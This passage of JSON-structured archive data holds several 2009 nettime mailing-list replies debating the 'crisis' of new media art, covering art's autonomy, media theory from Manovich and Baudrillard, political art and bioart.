me, in my anarcho-democratic world, that to say Wow,\ngreat art, without inquiring into the consequences, is one of the closest\nthings one can do to never getting out of bed, i.e. it's close to\nsleepwalking.  Because at best, you would then be just letting the great\nart fit into your own great dream, or letting it be the colorful and\nstriking tattoo that will fit you into your small chosen circle. That's at\nbest - because in the present world of biopower and noopower, just admiring\na work in itself and for itself can mean accepting without question the\nworld that it mediates, which in the case of the networked technologies\nsold by Sony and Microsoft Philips and abused by a vast array of\ncorporations and governments, can be an extremely predatory world,\nconfigured precisely in order to capture your consciousness and extract\nsome value or utility out of your passions and dreams. Value that can\nultimately be devastating for the collectivity (as in the debt-fueld\nconsumption boom of this decade), utility that can make you into the most\nterrible of instruments (like the voters lured by nationalist rhetoric into\nsupporting our proliferating wars).\n\nIt has been years since I read Lev Manovich, so what follows may be totally\nunjust to his work, but as I recall, what always irritated me in his\nwriting was a kind of smug insistence that the new media were essentially\ndefined by a certain kind of rhythm, a certain multiplication of screens, a\ncertain connection to databases, etc. - in other words, that the new media\nwere essentially defined by the dominant trends of contemporary capitalist\nsociety. For me this seemed like a total abdication of criticism itself,\nand it also seemed to be a sort of cheerful, \"I'm on the winning side\"\nversion of the dark technological determinism and philosophical doomsaying\npromoted by the post-Leftist thinkers in the wake of Baudrillard. What I\nmissed was the very question of autonomy, and some recognition of its\nquasi-infinite complexities as they've been ceaselessly developing from the\nNeolithic to now, in the long and discontinuous series of messages passed\nfrom human world to human world. Imho, the poverty of new media art - its \n\"crisis\" - has intrinsically to do with the poverty of media \ncritique tout court. It is the failure to see how the cultural politics of\nindividuals and groups are mediated in the work, how they are expressed at\nevery level of their ineluctable complexity and excess over the \"mere\ncommunication\" of what already exists.\n\nbest, Brian\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00062",
                                "date": "Tue, 19 May 2009 15:44:02 +0200",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "4A12B7A2.7080003 {AT} wanadoo.fr",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00062.html",
                                "content-type": "text/plai",
                                "author_name": "Brian Holmes",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts Crisis"
                            },
                            {
                                "from": "Michael H Goldhaber <mgoldh {AT} well.com>",
                                "content": "\nThanks for some beautiful and thought-provoking statements, especially  \nBrian\u2019s and Carlos\u2019s. I would add that to me the real medium of all  \nart is attention, attention the viewer or reader or listener must pay,  \nfeels consciously drawn to pay, in a deepening and all encompassing  \nway. That attention amounts to a transformation of self \u2014 into the  \nmind and body of the artist, as it were. The rest of the world falls  \naway for that moment, and so does time \u2014the moment might be a long one  \n\u2014and,a s Brian suggests will recur  later on, in recollection and  \nreflection.\n\nIf that is art, it is always political, because it always takes the  \nattention payer out of the \u201csystem,\u201d whatever it might be and however  \nmuch the managers of the system in fact solicited the artist  or the  \nwork to begin with. The huge abstract paintings of the 1950\u2019s cold  \nonly fit on the walls of the rich, but nonetheless, as long as they  \nwere there, they took over those walls, and made the space different  \nfrom what the collector might have intended, and the same goes for  \nRenaissance art and art of other periods.\n\nThe reason different media come in is that the artist has an on-going  \nproblem as to how to capture attention as distractions and competition  \nmultiply. In some way, to be really focussed on, art must avoid being  \ntoo easy to experience, for then it can become just the background,  \njust decoration or elevator music, or something that can always be  \nattended to \u201clater\u201d \u2014 I.e., usually never. This is  a serious and  \nsignificant problem for new media as well, including much Internet art.\n\nExpressly political art can only succeed, it seems to me, if it comes  \nfrom the inner depths.  For instance, I just finished reading Istvan  \nKertesz\u2019s \u201cFatelessness;\u201d I don\u2019t think it is intentionally political  \nbut it certainly made me boil with anger at the human mistreatment and  \nneglect of others. Such art brings what was already there inside us  \nand adds to its centrality. But that doesn\u2019t happen often. In my  \nexperience most political art is superficial and therefore bad, just  \nas likely to turn off sympathetic feelings in the viewer as the  \nopposite.\n\nIncidentally,  I don\u2019t know that good art necessarily causes us to  \nthink \u201cWow! I admire that.\u201d But it doesn't easily let go of us.\n\n\nBest,\nMichael\n\nOn May 19, 2009, at 6:44 AM, Brian Holmes wrote:\n\n> carlos katastrofsky wrote:\n>\n>> if i see some really good \"political art\" the first step is to admire\n>> it (wow, great work) and then to think about consequences. art is\n>> something autonomous. to me such an approach would free it from being\n>> a mere form of communication, a medium, or \"new media art\". but at  \n>> the\n>> same time it can be all of that.\n>\n> What does one admire a piece of art? What is its autonomy?  And what  \n> could\n> be its consequences? I have asked myself these questions for years.  \n> Like\n> most thinking people, I have come to a few conclusions. And since I  \n> like\n> the idea that art can be \"all of that\" - a form of communication, a  \n> medium,\n> new media art - I would like to share these conclusions with you.\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00064",
                                "date": "Tue, 19 May 2009 12:30:11 -0700",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "F6688CA9&#45;F000&#45;49A8&#45;9176&#45;5F62EC6DF50A {AT} well.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00064.html",
                                "content-type": "text/plai",
                                "author_name": "Michael H Goldhaber",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                            },
                            {
                                "from": "eyescratch <eyescratch {AT} gmail.com>",
                                "content": "\nOn Tue, May 19, 2009 at 9:44 AM, Brian Holmes <brian.holmes {AT} wanadoo.fr> wrote:\n\n> So you want new media? Replay your avi file of the opening\n> ceremonies of the 2008 Olympics.\n>\n> What I am trying to get at with all of this is that art is\n> essentially media, it is not merely but essentially about\n> communication, only what is communicated is not just a phrase or\n> a slogan or a piece of information, but a problematic attempt\n> to reconfigure a world on every level of sensate and imaginary\n> experience.\n\nMuch of media studies is obsessed with witnessing an existence that is\npart of mediality, to borrow a term from the previous discussion, by\nplacing great emphasis on inserting the observer into the equation.\nNevertheless these studies formulate a distinction to preserve some\nauthorship role. What this kind of representational relationship\nignores is that it precludes any kind of intervention in favor of a\nconservation. If the art cannot be conserved because it is conceptual\nor a piece of code, the identity of the author is preserved and\ncelebrated. This is because a piece of media arrives at its monetary\nvalue by being bundled with products that claim to correct the\ninjustices, needs, or ailments being described in that piece of media.\nThe media is monetized either for its value of showing a certain lack\nor showing the idealized completion that a product might fulfill. An\nauthorship identity, it turns out, can fulfill this marketing function\nnicely for the lack of any particular object that might or might not\nexist or lacks monetary value, culminating it seems these days in a\nguarded wikipedia entry.\n\nTurns out, while searching for a word to describe the process of\nentering into communication via media I looked up mediated. There is\nplenty of secondary literature on McLuhan using this word to capture\nthe processes McLuhan describes, but he himself only uses the word\nmediated with the original definition to describe the arbitration\nthat happens in a conflict. Using the term mediated in the sense that\na form of communication is performed via media, still implies that\nthere is an exchange occurring where each party must sacrifice some\nof their preconceptions in a productive process that is manufacturing\nrepresentation. Otherwise this representation veers very quickly\ntowards the ideological.\n\nhTTp://eyescratch.tk\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00069",
                                "date": "Sat, 23 May 2009 10:30:31 -0400",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "79976e5a0905230730j58fc5bdes611529b066f69590 {AT} mail.gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00069.html",
                                "content-type": "text/plai",
                                "author_name": "eyescratch",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                            }
                        ],
                        "from": "Rama Hoetzlein <rch {AT} umail.ucsb.edu>",
                        "content": "i agree.. i'm new to nettime, but following it silently until now, and \nhave been doing research in this area.\nhere are a few earlier notes i've made on this topic:\n   http://www.rchoetzlein.com/theory/\n\nin my view, the problem is that new media theory - the theory side \nanyway (not the art) - is largely defined by what we read from new media \ntheorists, such as lev manovich and baudrillard. yet these philosophers \ndo their primary work in \"media theory\" itself, that is the \nanthropological study of how media influences culture. thus, their \ncentral message is that media has meaning, and meaning changes culture:\n\n\"True, art is on the periphery for me. I don't really identify with it. \nI would even say that I have the same negative prejudice towards art \nthat I do toward culture in general. My point of view is \nanthropological. From this perspective, art no longer seems to have a \nvital function; it is afflicted by the same fate that extinguishes \nvalue, by the same loss of transcendence.\"  - Jean Baudrillard\n\ni do not deny their contributions to media theory of course, but despite \nthe fact that they may be open about their field of study (as this quote \nshows), the new media arts has not moved to define itself as an \"art \nform\", but rather defines itself in terms of media. of course, as an \nartist, i disagree about defining media art in such post-modernist terms \n(that is, purely as an outgrowth of culture). contrast the view of art \nabove with this one:\n\n\"The activity of art is based on the fact that one, receiving through \nhis or her sense of hearing or sight another's expression of feeling, is \ncapable of experiencing the emotion which moved the one who expressed \nit.\" - Leo Tolstoy\n\nNew media art should be defined from an art-philosophical perspective. \nIn this view, meaning is present in all works, to varying degrees, \nregardless of how they might be appropriated by culture. At what time is \nhistory was art not appropriated by culture? None the less, people \ncontinued to create art. The process of art-making is one of creating \nmeaning, and this relation between the artist and the work is not \nchanged despite how the object is ultimately appreciated, used, or \nabused by culture.\n\n-rama hoetzlein\n\n\ncarlos katastrofsky wrote:\n \n> what i am always wondering about is why the media arts field is so\n> concerned with its media. is dealing with \"new media\" or \"old media\"\n> an excuse for making good or bad art? IMO defining art by its media\n> is on the same level as defining art by its subject. not getting over\n> these definitions will result in a ghetto-situation sooner or later.\n> the problem -IMHO- is not that media art is not recognized by the fine\n> art world but that the fine art world is dealing with other subjects.\n> when was the last big exhibition dealing solely with \"painting\" or\n> \"sculpture\" you've seen? ars electronica and the others are doing that\n> every year: \"new media art\" with changing subtitles.\n <...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00051",
                        "date": "Sun, 17 May 2009 11:48:02 -0700",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "4A105BE2.9050609 {AT} umail.ucsb.edu",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00051.html",
                        "content-type": "text/plai",
                        "author_name": "Rama Hoetzlein",
                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts Crisis"
                    },
                    {
                        "follow-up": [
                            {
                                "from": "carlos katastrofsky <carlos.katastrofsky {AT} cont3xt.net>",
                                "content": "> I am not so sure whether I agree. It all depends on your definition of\n> \"media\". The problem is that the word \"media\" means quite different things\n> in different contexts:\n\ni agree. but exactly this is the point: media theory is swallowing\neverything, but where are its boundaries? what i am trying to find as\nartist (neither theorist nor philosopher) is a definition for art that\ngoes beyond a mere definition as \"media\" in whatever sense.\nthat is why i am aiming on the much-maligned term of \"autonomy\" (and\ni'm following here the previous mentioned philosophy of j.\nrebentisch). to me this doesn't mean art is somewhat apolotical or\ndealing solely with itself (l' art pour l'art - i guess you had this\nin mind when stating \"[...] If the basic quality of art - in the sense\nof 'Fine Art' - lies in its self-reference to its own system, then it\nwould be something very narrow and ultimately boring, [...]\"). art is\nmade to be seen/heard/whatever - to be experienced. and this\nexperience is what defines art and not media. it can change in time\n-we quite surely don't experience cave paintings in the same way the\nones did who made them- but i'm not sure if \"the media\" does, no\nmatter if it's read as \"painting/drawing\" or as \"hunting scene\". what\ni am hoping to find by this is a possibility to think about \"art\" and\nneither media nor porn or politics. these are -let's say- \"themes\"\nthat can be interpreted, but i hope that art goes beyond being a good\ndesigned set of political opinions. i mean, what political context is\nreflected in leonardo's \"last supper\"? we surely can speculate but do\nwe know? these are things that are bound to their time and context but\nnevertheless we still percieve it as \"art\".\n\n> If I take, for example, the subjects of the last nine transmediale\n> festivals (\"Do It Yourself\",\n[...]\n> One could just as well say that contemporary art deals with \"white cube\n> installation art\" with changing subtitles.\n[...]\n> The same terms abound in the contemporary art discourse if you read, for\n> example, \"October\" or \"Texte zur Kunst\".\n\nyep, exactly. and this what the \"art world\" makes as boring as \"new\nmedia art\". what i had in mind when saying that the \"fine art world is\ndealing with other subjects\" was not the (i would like to call it\nnonexistent) contemporary discourse. what can be seen in the fine arts\nfield (but not in the big biz -documenta, ps1, kw, ...) is an\ninclusion of possibilities in expression and perception which i never\nsaw in any media-art discourse (though i have to admit i am far from\nfollowing everything in that area).\n\n> Not knowing the full context of this quote, I nevertheless find such\n> systemic definitions of art quite risky. If the basic quality of art\n> - in the sense of 'Fine Art' - lies in its self-reference to its own\n> system,\n\ni'm sorry if this comes through that way, i'm not the best in\nformulating things. i never wanted to present art as solely\nself-referential system. if autonomy is read as autonomy of the object\n(l'art pour l'art) i would agree totally with you. but seen from the\nviewpoint that \"art\" may not lie in an object but somewhere between\nthe object and the observer (experience, perception) an autonomy of\nart is essential.\n\n\nthank you all for your replies :-)\n\nbest,\ncarlos\n-- \nhttp://katastrofsky.cont3xt.net\nhttp://cont3xt.net\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00061",
                                "date": "Tue, 19 May 2009 15:14:35 +0200",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "fb9095bf0905190614l39062a34j17867e0d82469c5f {AT} mail.gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00061.html",
                                "content-type": "text/plai",
                                "author_name": "carlos katastrofsky",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                            },
                            {
                                "from": "Station Rose <gunafa {AT} well.com>",
                                "content": "\nOn Sunday, May 17 2009, 10:59 (+0200), florian cramer wrote:\n\n>If I take, for example, the subjects of the last nine transmediale\n>festivals (\"Do It Yourself\", \"Go Public\", \"Play Global\", \"Fly\n>Utopia\", \"Basics\", \"Reality Addicts\", \"Unfinish\", \"Conspire\", \"Deep\n>North\"), they could just as well have been the names of contemporary\n>art exhibitions at PS.1 in New York, KW in Berlin, Witte de With in\n>Rotterdam, or any other contemporary art space.\n\nbut it wasnt like that cause it was happening ONLY in a festival     .\n<ghetto> situation                                                   .\n\nas I see it, many art people are not going to events like\ntransmediale, cause its not seen as an important place for art. I dont\ngo, besides when we are actively part of it.\n\nlooks like media art is not sexy enough. the exhibits, as part of\nfestivals, are often too prudish. everything sensual seems forbidden,\n\ntoo often it s needs written explanations to understand the\n(political) work.\n\nI do not believe - and I say that as an artist- that the written word\nis necessary to <understand> a piece of art.it can help and make\ndetails transparent, but its not necessary in advance.\n\n\nmy own experience with Station Rose media art projects-like recently\nLogInCabin in MAK Vienna- is : they are recognized & seen in art\nspaces, museums by the art scene, but not as much in a so called media\nart context as festivals are.\n\nbasically my impression is that as long as a dicussion like that one\ngoes on, it makes clear that the art world is something and the media\nart scene is out of it.\n\n\n-- \n----------------------------------------------------\nStation Rose     digital_audio  - visual art      http://www.stationrose.com\n....................    Gary Danner & Elisa Rose\n\nFrankfurt   - Cyberspace -  Vienna.\n\n* recent project: 20 Digital Years. \"LogInCabin\" mediascultpure at \nMAK Vienna_sold\n* new: \"Interstellar Overdrive CD\" Japan release (2.09)\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00072",
                                "date": "Sun, 24 May 2009 13:52:26 +0200",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "a06200701c63ee015f460 {AT} [192.168.1.100]",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00072.html",
                                "content-type": "text/plai",
                                "author_name": "Station Rose",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts Crisis"
                            }
                        ],
                        "from": "lorian Cramer <fc-nettime {AT} pleintekst.nl>",
                        "content": "\nOn Sunday, May 17 2009, 10:59 (+0200), carlos katastrofsky wrote:\n\n> what i am always wondering about is why the media arts field is so\n> concerned with its media. is dealing with \"new media\" or \"old media\"\n> an excuse for making good or bad art? IMO defining art by its media\n> is on the same level as defining art by its subject. not getting\n> over these definitions will result in a ghetto-situation sooner or\n> later.\n\nI am not so sure whether I agree. It all depends on your definition of\n\"media\". The problem is that the word \"media\" means quite different\nthings in different contexts: In the arts, it traditionally refers\nto the material means of expression from which artworks are created\n[painting, sculpture, photography, video, performance - that were also\nthe media meant with such terms as \"intermedia\", \"mixed media\" and\n\"multimedia\" since the 1960s]. In communication studies, \"media\" is\npractically synonymous with mass media and refers to an apparatus and\nsystem of communication, including newspapers, radio, TV, Internet.\nIn other humanities, there is a notion of media as any symbolic or\nsemiotic carrier.\n\nFor example, in the contemporary art (but not media art) world,\nthere just has been a series of exhibitions on pornography, from\n\"BodyPoliticx\" in Rotterdam to \"The Porn Identity\" in Vienna. One\ncould call pornography a medium and thus say that these exhibitions\nwere curated from a media perspective. After all, the ars electronica\ndid almost the same thing with its \"Next Sex\" theme in 2000. Or, a\nrandom example taken from just having browsed the Tate Modern site\nand its blurb on the current exhibition \"Stutter\": \"The onomatopoeic\nword 'Stutter' refers to an act of speech interrupted by agitated,\nspasmodic, or involuntary repetitions. As the title for this\nexhibition, it suggests a metaphor for questions of disruption and\ndiscontinuity in processes of thought, systems of communications\nor conceptions of knowledge.\" Again, this is pretty close if not\nidentical to curatorship from a media and communications viewpoint.\n\n> the problem -IMHO- is not that media art is not recognized by the\n> fine art world but that the fine art world is dealing with other\n> subjects.\n\nIf I take, for example, the subjects of the last nine transmediale\nfestivals (\"Do It Yourself\", \"Go Public\", \"Play Global\", \"Fly Utopia\",\n\"Basics\", \"Reality Addicts\", \"Unfinish\", \"Conspire\", \"Deep North\"),\nthey could just as well have been the names of contemporary art\nexhibitions at PS.1 in New York, KW in Berlin, Witte de With in\nRotterdam, or any other contemporary art space.\n\n> when was the last big exhibition dealing solely with \"painting\" or\n> \"sculpture\" you've seen? ars electronica and the others are doing\n> that every year: \"new media art\" with changing subtitles.\n\nOne could just as well say that contemporary art deals with \"white\ncube installation art\" with changing subtitles.\n\n> the same problem persists when new media artists and theorists\n> insist on \"politicalness\" and \"radicality\".\n\nThe same terms abound in the contemporary art discourse if you read,\nfor example, \"October\" or \"Texte zur Kunst\".\n\n> those terms don't say anything about certain works either, no matter\n> which media is used in it. they only say that they may be recognised\n> as \"political\" in a certain time in a certain context.\n\nIMO art is, like any public expression, always political. Art that\nclaims not to be political being all the more political as a matter\nof fact (with symbolist l'art-pour-l'art being a prime example). What\nI would describe as the political-artistic quality in the art of,\nfor example, ubermorgen is that unlike 'actual' politics, it can be\nwillfully and even criminally irresponsible. One could admittedly\ndismiss this as a romanticist argument, but it has nevertheless a lot\ngoing for it, not just if we look at gothic aesthetics and Bataille's\naesthetics of evil, but also at more recent artistic practices like\nOtto Muehl's commune and Eastern European art since the 1980s.\n\n> but that doesn't say anything about it's \"artness\" either. \"art\n> doesn't become art by having specific characteristics but by a\n> specific kind of processual reference to it.\" (J. Rebentisch,\n> Aesthetik der Installation)\n\nNot knowing the full context of this quote, I nevertheless find such\nsystemic definitions of art quite risky. If the basic quality of art\n- in the sense of 'Fine Art' - lies in its self-reference to its own\nsystem, then it would be something very narrow and ultimately boring,\nand something already exhausted by Duchamp in the 20th century. It\nwould pay a high price for having, since the 19th century, rid itself\nfrom more popular forms of visual culture. Such a definition does not\neven apply to the arguably most elitist forms of other contemporary\narts such as poetry and contemporary classical music, since poetry can\nstill be defined outside its own system as highly condensed/conjugated\nlanguage and new music as highly organized sound. - On top of that, it\nis an exclusively Western concept of art which blatantly contradicts\nthe post-1990s efforts of integrating postcolonial considerations into\ncontemporary art. Remarkable enough, these integrations never question\nthe concept of \"art\" itself - although the concept of autonomous art\nonly exists in Western cultures or as a Western cultural import in,\nfor example, Asian countries (which traditionally do not separate art\nfrom craft).\n\n> if i want to learn something about politics i would read a book with\n> proper information about it and not go to see art that repeats the\n> common sense that there are bad things existing in our world.\n\nTrue. Only that exhibitions like Documenta XI have been haunted by\nthis concept of art.\n\n-F\n\n-- \nblog:     http://en.pleintekst.nl\nhomepage: http://cramer.pleintekst.nl:70\n          gopher://cramer.pleintekst.nl\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00056",
                        "date": "Mon, 18 May 2009 23:04:49 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "20090518210449.GJ3919 {AT} hp.localdomain",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00056.html",
                        "content-type": "text/plai",
                        "author_name": "Florian Cramer",
                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                    },
                    {
                        "from": "John Hopkins <jhopkins {AT} neoscenes.net>",
                        "content": "carlos katastrofsky wrote:\n\n> what i am always wondering about is why the media arts field is so\n> concerned with its media. is dealing with \"new media\" or \"old media\"\n\nexactly Carlos...\n\nthis revolves around the common (still, ongoing, & perhaps permanent!)\nproblem of identifying creative impulses by their materialized remains\n(media, mediated forms).  There are precisely identical histories of the \nrise of\n(materially) specialized festivals, research centers, art school\ndepartments, workshop venues, etc etc -- photography, for example.\nWhere are all the institutions and organizations and events that swirled\naround that particular material result of creative impulse?  They are\ngone, gone, gone.  Abd the ones who remain -- does anyone think they are\ncenter for radical creative experimentation?  Most people don't even\nremember them.  the Rencontres Internationale de la Photographie and the\nEcole Nationale de la Photographie in Arles, etc etc, huh, who cares?\n\nwhen there is this material obsession, it is bound to be outmoded simply\nbecause things aren't IT, looking at the world as a bunch of things\ndoesn't reveal the phenomenal nature of life: another words, focusing on\nthe detritus that is left, dead, after the creative forces have altered\nthe local universe -- well it's simply a death cult and is a dead end.\n<<yawn>> why ponder on it?  Better to skip the material categorization\nprocess altogether 'cause it IS a dead end...\n\njh\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00065",
                        "date": "Wed, 20 May 2009 17:01:58 -0600",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "4A148BE6.6070209 {AT} neoscenes.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00065.html",
                        "content-type": "text/plai",
                        "author_name": "John Hopkins",
                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts Crisis"
                    },
                    {
                        "from": "ben.craggs {AT} fastmail.f",
                        "content": "\n> what i am always wondering about is why the media arts field is so\n> concerned with its media. is dealing with \"new media\" or \"old media\"\n> an excuse for making good or bad art? IMO defining art by its media\n> is on the same level as defining art by its subject. not getting\n> over these definitions will result in a ghetto-situation sooner or\n> later. the problem -IMHO- is not that media art is not recognized\n> by the fine art world but that the fine art world is dealing with\n> other subjects. when was the last big exhibition dealing solely\n> with \"painting\" or \"sculpture\" you've seen? ars electronica and the\n> others are doing that every year: \"new media art\" with changing\n> subtitles.\n\n <...>\n\nAn interesting addition to this would be the emergence of 'New, new\nmedia arts'. I am thinking here, of practices in the field currently\ndefining itself as bioart. Here the medium that is being manipulated\nis a form of living or sem-living matter, or tissue. Bioartist,\nEduardo Kac and curator Jens Hauser have sought to specifically\nidentify this new art practice, expressly on the basis of the medium\nitself. Bioarts, they argue, are most definitely are not those works\nthat take bios or a form of life, as a subject, but manipulate it as a\nmedium. That said, the manipulation of living tissue can be executed\nthrough a number of divergent practices, specific technologies, and it\nis these that seem to be defined by some as the media, not the living\ntissue they manipulate. I guess a somewhat simplistic comparison\nwould be between with identification of various 'digital media' in\nabstraction from the advances in computer technology on which they are\nbased.\n\nMy current work in the field of bioart is increasingly\npushing me towards a frustration at the distinction between\nart/science/media/technology/old/new that recurs in the majority of\nliterature, and if I am not wrong seems to predicate this current\ndiscussion. In the light of these new practices I have been working\ntowards re-imagining what art and media are in themselves, as\ntechnologies and processes not as distinct practices - the specific\nmedia or declared purpose seem less relevant from this perspective. So\nI wonder whether 'meaning is present in all works, to varying degrees,\nregardless of how they might be appropriated by culture' could be\nextended beyond a simple valorisation of art.\n\nIt also seems that those new media theorists, such as Manovich and\nBaudrillard are somewhat restricted in their approach in that new\nmedia is perceived in a somewhat teleological sense, newness for\nthe sake of newness, with new theories to match new media - without\nasking what is actually recurring in new media. IMO it seems that\nmost new media, are really just old media anyway, particularly so in\nbioart. Is the creative growth of tissue not what we do continually\nas part of our natural bodily processes? Would it be facetious\nthen to ask whether all media be considered from this originary\nperspective, negating the discussions about relative newness or\ncultural categorization (ie i's art, it's science, it's technology,\nit's media).\n\nBen\n\n\n\n-- ---------\n  Ben Craggs\n  07868 273 360\n---------------\n  http://www.digitalscribblings.org/forums\n  A place for academic discussion, networking and general postgraduate procrastination!\n---------------------------------------------------------------------------------------\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00053",
                        "date": "Mon, 18 May 2009 08:42:05 +0100",
                        "to": "\"NetTime Mailing List\" <nettime-l {AT} kein.org>",
                        "message-id": "1242632525.29400.1315956661 {AT} webmail.messagingengine.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00053.html",
                        "content-type": "text/plai",
                        "author_name": "ben . craggs",
                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                    },
                    {
                        "from": "Brian Holmes <brian.holmes {AT} wanadoo.fr>",
                        "content": "\nRama Hoetzlein wrote:\n\n> New media art should be defined from an art-philosophical\n> perspective. In this view, meaning is present in all works, to\n> varying degrees, regardless of how they might be appropriated\n> by culture. At what time in history was art not appropriated by\n> culture? None the less, people continued to create art. The process\n> of art-making is one of creating meaning, and this relation between\n> the artist and the work is not changed despite how the object is\n> ultimately appreciated, used, or abused by culture.\n\nIt's great to read such a fundamental comment. I shall add something.\nMy viewpoint includes both Tolstoy's and Baudrillard's. I find that\ninformatic art (my own off-the-cuff term, but surely better than new\nmedia) is compelling precisely when it places subjective expression\nwithin the most strongly coercive social arena of our time, namely\nthe digital networks. Your idea that there is an art-philosophical\nperspective that could exclude or bypass social determinism seems,\nbegging your pardon, somewhat naive. What is more, I think all the\ninterest of art itself disappears when it is shorn from the contexts\nof power and held up as a pure conductor of subjectivity. Approached\nin that way, the art work tends to become no more than a mirror for\nour own emotions and fantasies -- far from any state of empathy,\nEinfuhlung or whatever one chooses to call it. So I am not surprised\nthat you move from Tolstoy's fascinating quote (reproduced below) to\nthe \"relation between the artist and the work.\" I guess I am more\ninterested in, well, media: the way the work relates the artist to\nothers.\n\nHowever, your observation about new media theory (Kittler and McLuhan\nwere recently mentioned here) is spot on. What we are given from\nthe podium, over and over again, are lessons about the power of\ntechnoscientific systems. The predicament of the human singularity,\ncaught within the net of determinisms yet resisting, creating another\nreality and expressing this rather fantastic adventure through\nwhatever kind of material or semiotic medium has been chosen, is left\nout of the story, which thereby becomes a monument to the crushing\nregularity of the status quo. The same thing, of course, happens to\nresistant political action in the hands of the sociologists and the\nHeideggerean philosophers of an essential, \"historial\" alienation.\nBoth ethics and aesthetics take it on the chin.\n\nIn my view, the great inspiration for new media theory has come from\nhackers themselves, who create alternative possibilities for existence\nwithin the overwhelmingly powerful networked environment. This is why,\nin essays which are inseparably about art and technics, I tend to\nuse concepts like \"reverse imagineering\" or \"escaping the overcode.\"\nExpression, for me, is the rupture of code, an excess which does not\nabolish the labyrinth in which we are caught, but at least opens up a\npossible new path through it.\n\nThat's one approach. There could be many others. The problem, as\nyou point out, is that usually there are not, because the theory\nvery rarely meets any actual practice. The necessary discussion of\ntechnological power holds the center stage. Of course that is easier\nfor the whole \"new media\" social circuit, because then you don't have\nto think very much, or feel very much, or try very hard to find out\nwhat might be at stake in a particular work.\n\nThis list, I guess, is about the best place to talk about how to\napproach media art. Thanks to all for starting the conversation. I'm\nready for more. Let the thousand info-aesthetics bloom!\n\nbest, BH\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00054",
                        "date": "Sun, 17 May 2009 23:32:13 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "4A10825D.6040905 {AT} wanadoo.fr",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00054.html",
                        "content-type": "text/plai",
                        "author_name": "Brian Holmes",
                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                    },
